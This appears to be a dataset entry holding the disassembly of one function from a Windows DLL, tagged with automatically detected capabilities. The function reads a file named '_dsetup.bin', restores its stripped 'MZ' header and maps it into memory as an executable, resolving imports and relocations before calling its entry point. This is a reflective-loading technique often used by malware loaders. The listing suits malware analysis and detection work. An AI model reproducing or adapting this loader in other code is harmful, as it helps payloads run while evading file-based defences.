Function at 0x10001025
Capabilities:
Enumerate pe sections
Get system information on windows
Parse pe header
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
cmp dword [ebp + 0xc], 1
push esi
jne 0x1000178d
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0x1000a180
push str.._dsetup.bin
mov dword [ebp - 0x2c], 0x405a4d
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x20], 0xffff
mov dword [ebp - 0x1c], 0xb8
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x14], 0xa
call fcn.1000244c
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x1000178d
push ebx
push edi
push 2
xor edi, edi
push edi
push esi
call fcn.10002314
push esi
call fcn.10002225
push edi
push edi
push esi
mov dword [ebp + 0xc], eax
call fcn.10002314
push dword [ebp + 0xc]
call fcn.10002011
push esi
push dword [ebp + 0xc]
mov ebx, eax
push 1
push ebx
mov dword [ebp - 4], ebx
call fcn.10001fa5
push esi
call fcn.10001ce7
and dword [ebp + 8], 0
add esp, 0x34
cmp dword [ebp + 0xc], 0x40
push 6
pop ecx
lea esi, [ebp - 0x2c]
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
jb 0x100010f9
mov eax, 0x5a4d
cmp word [ebx], ax
jne 0x10001174
mov edi, dword [ebx + 0x3c]
lea eax, [edi + 0xf8]
cmp dword [ebp + 0xc], eax
jae 0x10001100
push 0xd
jmp 0x100011d3
add edi, ebx
cmp dword [edi], 0x4550
jne 0x10001174
mov eax, 0x14c
cmp word [edi + 4], ax
jne 0x10001174
mov ebx, dword [edi + 0x38]
test bl, 1
jne 0x10001174
movzx eax, word [edi + 0x14]
lea ecx, [eax + edi + 0x24]
movzx eax, word [edi + 6]
test eax, eax
je 0x1000114c
mov esi, eax
mov edx, dword [ecx + 4]
mov eax, dword [ecx]
test edx, edx
jne 0x1000113c
add eax, ebx
jmp 0x1000113e
add eax, edx
cmp eax, dword [ebp + 8]
jbe 0x10001146
mov dword [ebp + 8], eax
add ecx, 0x28
dec esi
jne 0x1000112f
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [ebp - 0x4c]
mov edx, dword [edi + 0x50]
lea esi, [edx + eax - 1]
mov edx, dword [ebp + 8]
lea ecx, [eax - 1]
not ecx
lea eax, [eax + edx - 1]
and esi, ecx
and eax, ecx
cmp esi, eax
je 0x1000117b
push 0xc1
jmp 0x100011d3
push 4
push 0x3000
push esi
push dword [edi + 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov dword [ebp - 0xc], ebx
test ebx, ebx
jne 0x100011ad
push 4
push 0x3000
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov dword [ebp - 0xc], eax
test ebx, ebx
je 0x100011d1
push 0x34
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x100011de
push 0x8000
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0xe
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x1000178b
mov dword [esi + 4], ebx
movzx eax, word [edi + 0x16]
and dword [esi + 0x28], 0
shr eax, 0xd
and eax, 1
mov dword [esi + 0x14], eax
mov dword [esi + 0x1c], 0x10001000
mov dword [esi + 0x20], 0x1000100b
mov dword [esi + 0x24], 0x1000101a
mov eax, dword [ebp - 0x4c]
mov dword [esi + 0x30], eax
mov eax, dword [edi + 0x54]
cmp dword [ebp + 0xc], eax
jae 0x1000121c
push 0xd
jmp 0x1000170b
push 4
push 0x1000
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [edi + 0x54]
mov dword [ebp + 8], eax
push dword [ebp - 4]
push eax
call fcn.10001890
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp + 8]
and dword [ebp - 8], 0
mov dword [esi], eax
mov dword [eax + 0x34], ebx
mov eax, dword [esi + 4]
mov dword [ebp + 8], eax
mov eax, dword [esi]
movzx ecx, word [eax + 0x14]
xor edx, edx
add esp, 0xc
lea ecx, [ecx + eax + 0x18]
cmp dx, word [eax + 6]
jae 0x10001312
lea ebx, [ecx + 0x10]
mov eax, dword [ebx]
test eax, eax
jne 0x100012b1
mov eax, dword [edi + 0x38]
mov dword [ebp - 0x10], eax
test eax, eax
jle 0x100012fd
push 4
push 0x1000
push eax
mov eax, dword [ebx - 4]
add eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
je 0x10001711
mov eax, dword [ebx - 4]
push dword [ebp - 0x10]
add eax, dword [ebp + 8]
push 0
push eax
mov dword [ebx - 8], eax
call fcn.10001c00
jmp 0x100012fa
mov ecx, dword [ebx + 4]
add ecx, eax
cmp dword [ebp + 0xc], ecx
jb 0x10001215
push 4
push 0x1000
push eax
mov eax, dword [ebx - 4]
add eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
je 0x10001711
mov ecx, dword [ebx + 4]
push dword [ebx]
mov eax, dword [ebx - 4]
add ecx, dword [ebp - 4]
add eax, dword [ebp + 8]
push ecx
push eax
mov dword [ebp - 0x10], eax
call fcn.10001890
mov eax, dword [ebp - 0x10]
mov dword [ebx - 8], eax
add esp, 0xc
mov eax, dword [esi]
movzx eax, word [eax + 6]
inc dword [ebp - 8]
add ebx, 0x28
cmp dword [ebp - 8], eax
jl 0x1000126e
mov eax, dword [esi]
mov ecx, dword [eax + 0x34]
sub ecx, dword [edi + 0x34]
mov dword [ebp - 0x10], ecx
je 0x10001398
cmp dword [eax + 0xa4], 0
mov edi, dword [esi + 4]
jne 0x1000132f
xor eax, eax
jmp 0x10001393
mov eax, dword [eax + 0xa0]
add eax, edi
jmp 0x1000138a
and dword [ebp + 0xc], 0
add ecx, edi
mov dword [ebp + 8], ecx
mov ecx, dword [eax + 4]
sub ecx, 8
lea edx, [eax + 8]
test ecx, 0xfffffffe
jbe 0x10001387
movzx ecx, word [edx]
mov ebx, ecx
and ebx, 0xfffff000
cmp ebx, 0x3000
jne 0x10001374
mov ebx, dword [ebp - 0x10]
and ecx, 0xfff
add ecx, dword [ebp + 8]
add dword [ecx], ebx
mov ecx, dword [eax + 4]
inc dword [ebp + 0xc]
sub ecx, 8
shr ecx, 1
add edx, 2
cmp dword [ebp + 0xc], ecx
jb 0x10001353
add eax, dword [eax + 4]
mov ecx, dword [eax]
test ecx, ecx
jne 0x10001339
xor eax, eax
inc eax
mov dword [esi + 0x18], eax
jmp 0x1000139f
mov dword [esi + 0x18], 1
mov eax, dword [esi]
cmp dword [eax + 0x84], 0
mov ebx, dword [esi + 4]
mov dword [ebp - 4], 1
je 0x100014e2
mov edi, dword [eax + 0x80]
push 0x14
add edi, ebx
push edi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x100014e2
add edi, 0x10
mov dword [ebp + 0xc], edi
mov eax, dword [ebp + 0xc]
mov eax, dword [eax - 4]
test eax, eax
je 0x100014d8
push dword [esi + 0x28]
add eax, ebx
push eax
call dword [esi + 0x1c]
mov edi, eax
pop ecx
pop ecx
mov dword [ebp - 8], edi
test edi, edi
je 0x100014ae
mov eax, dword [esi + 0xc]
lea eax, [eax*4 + 4]
push eax
push dword [esi + 8]
call fcn.100017d9
pop ecx
pop ecx
test eax, eax
je 0x100014b5
mov ecx, dword [esi + 0xc]
mov dword [esi + 8], eax
mov dword [eax + ecx*4], edi
inc dword [esi + 0xc]
mov eax, dword [ebp + 0xc]
mov eax, dword [eax - 0x10]
test eax, eax
je 0x1000143c
lea edi, [eax + ebx]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
add ecx, ebx
jmp 0x10001445
mov eax, dword [ebp + 0xc]
mov edi, dword [eax]
add edi, ebx
mov ecx, edi
mov eax, dword [edi]
test eax, eax
je 0x1000148b
mov dword [ebp + 8], ecx
sub dword [ebp + 8], edi
push dword [esi + 0x28]
test eax, eax
jns 0x1000145f
and eax, 0xffff
jmp 0x10001464
add eax, ebx
add eax, 2
push eax
push dword [ebp - 8]
call dword [esi + 0x20]
mov ecx, dword [ebp + 8]
mov dword [ecx + edi], eax
mov eax, ecx
add esp, 0xc
cmp dword [eax + edi], 0
je 0x10001487
add edi, 4
mov eax, dword [edi]
test eax, eax
jne 0x10001451
jmp 0x1000148b
and dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x100014c5
add dword [ebp + 0xc], 0x14
mov eax, dword [ebp + 0xc]
push 0x14
add eax, 0xfffffff0
push eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
je 0x100013d7
jmp 0x100014d8
push 0x7e
jmp 0x1000170b
push dword [esi + 0x28]
push edi
call dword [esi + 0x24]
pop ecx
pop ecx
push 0xe
jmp 0x1000170b
push dword [esi + 0x28]
push dword [ebp - 8]
call dword [esi + 0x24]
pop ecx
pop ecx
push 0x7f
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp dword [ebp - 4], 0
je 0x10001711
mov ecx, dword [esi]
movzx eax, word [ecx + 0x14]
mov edx, dword [esi + 0x30]
dec edx
lea eax, [eax + ecx + 0x18]
mov edi, dword [eax + 8]
not edx
and edx, edi
mov dword [ebp - 0x28], edi
mov edi, dword [eax + 0x10]
mov dword [ebp - 0x24], edx
test edi, edi
jne 0x10001518
mov edx, dword [eax + 0x24]
test dl, 0x40
je 0x10001511
mov edi, dword [ecx + 0x20]
jmp 0x10001518
test dl, dl
jns 0x10001518
mov edi, dword [ecx + 0x24]
mov edx, dword [eax + 0x24]
mov dword [ebp - 0x20], edi
xor edi, edi
inc edi
mov dword [ebp + 8], edi
cmp di, word [ecx + 6]
jae 0x10001649
lea ebx, [eax + 0x4c]
mov edi, dword [esi + 0x30]
mov eax, dword [ebx - 0x1c]
dec edi
not edi
and edi, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebx - 0x14]
mov dword [ebp + 0xc], eax
test eax, eax
jne 0x10001563
mov ecx, dword [ebx]
test cl, 0x40
je 0x10001557
mov eax, dword [esi]
mov eax, dword [eax + 0x20]
jmp 0x10001560
test cl, cl
jns 0x10001563
mov eax, dword [esi]
mov eax, dword [eax + 0x24]
mov dword [ebp + 0xc], eax
cmp dword [ebp - 0x24], edi
je 0x10001610
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x28]
add ecx, eax
cmp ecx, edi
ja 0x1000160d
test eax, eax
je 0x100015fd
test edx, 0x2000000
je 0x100015b5
mov ecx, dword [ebp - 0x24]
cmp dword [ebp - 0x28], ecx
jne 0x100015fd
mov edx, dword [esi]
mov ecx, dword [esi + 0x30]
cmp dword [edx + 0x38], ecx
je 0x100015a2
xor edx, edx
div ecx
test edx, edx
jne 0x100015fd
push 0x4000
push dword [ebp - 0x20]
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x100015fd
mov eax, edx
shr eax, 0x1d
mov ecx, edx
shr ecx, 0x1e
and eax, 1
and ecx, 1
lea eax, [ecx + eax*2]
mov ecx, edx
shr ecx, 0x1f
lea eax, [ecx + eax*2]
mov eax, dword [eax*4 + section..data]
test edx, 0x4000000
je 0x100015e4
or eax, 0x200
lea ecx, [ebp - 8]
push ecx
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10001711
mov eax, dword [ebp - 0x10]
mov edx, dword [ebx]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x24], edi
jmp 0x10001631
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebx]
mov edi, 0x2000000
test edi, ecx
je 0x10001623
test edi, edx
je 0x10001623
or edx, ecx
jmp 0x1000162b
or edx, ecx
and edx, 0xfdffffff
sub eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x10]
inc dword [ebp + 8]
mov dword [ebp - 0x20], eax
mov eax, dword [esi]
movzx eax, word [eax + 6]
add ebx, 0x28
cmp dword [ebp + 8], eax
jl 0x10001531
cmp dword [ebp - 0x20], 0
je 0x100016b4
test edx, 0x2000000
je 0x10001670
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x24]
jne 0x100016b4
push 0x4000
push dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x100016b4
mov eax, edx
shr eax, 0x1d
mov ecx, edx
shr ecx, 0x1e
and eax, 1
and ecx, 1
lea eax, [ecx + eax*2]
mov ecx, edx
shr ecx, 0x1f
lea eax, [ecx + eax*2]
mov eax, dword [eax*4 + section..data]
test edx, 0x4000000
je 0x1000169f
or eax, 0x200
lea ecx, [ebp + 0xc]
push ecx
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10001711
mov eax, dword [esi]
mov eax, dword [eax + 0xc0]
mov ebx, dword [esi + 4]
test eax, eax
je 0x100016dd
mov edi, dword [ebx + eax + 0xc]
test edi, edi
je 0x100016dd
jmp 0x100016d7
push 0
push 1
push ebx
call eax
add edi, 4
mov eax, dword [edi]
test eax, eax
jne 0x100016cd
mov eax, dword [esi]
mov eax, dword [eax + 0x28]
xor edx, edx
cmp eax, edx
je 0x10001788
cmp dword [esi + 0x14], edx
je 0x10001780
mov ecx, dword [ebp - 0xc]
push edx
xor edi, edi
inc edi
push edi
add eax, ecx
push ecx
call eax
test eax, eax
jne 0x1000177b
push 0x45a
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
cmp dword [esi + 0x10], ebx
je 0x10001727
mov ecx, dword [esi]
mov eax, dword [esi + 4]
mov ecx, dword [ecx + 0x28]
push ebx
push ebx
push eax
add ecx, eax
call ecx
cmp dword [esi + 8], ebx
je 0x10001756
xor edi, edi
cmp dword [esi + 0xc], ebx
jle 0x1000174d
mov eax, dword [esi + 8]
lea eax, [eax + edi*4]
cmp dword [eax], ebx
je 0x10001747
push dword [esi + 0x28]
push dword [eax]
call dword [esi + 0x24]
pop ecx
pop ecx
inc edi
cmp edi, dword [esi + 0xc]
jl 0x10001733
push dword [esi + 8]
call fcn.1000179f
pop ecx
mov eax, dword [esi + 4]
cmp eax, ebx
je 0x1000176a
push 0x8000
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1000178b
mov dword [esi + 0x10], edi
jmp 0x1000178b
add eax, dword [ebp - 0xc]
mov dword [esi + 0x2c], eax
jmp 0x1000178b
mov dword [esi + 0x2c], edx
pop edi
pop ebx
xor eax, eax
inc eax
pop esi
leave
ret 0xc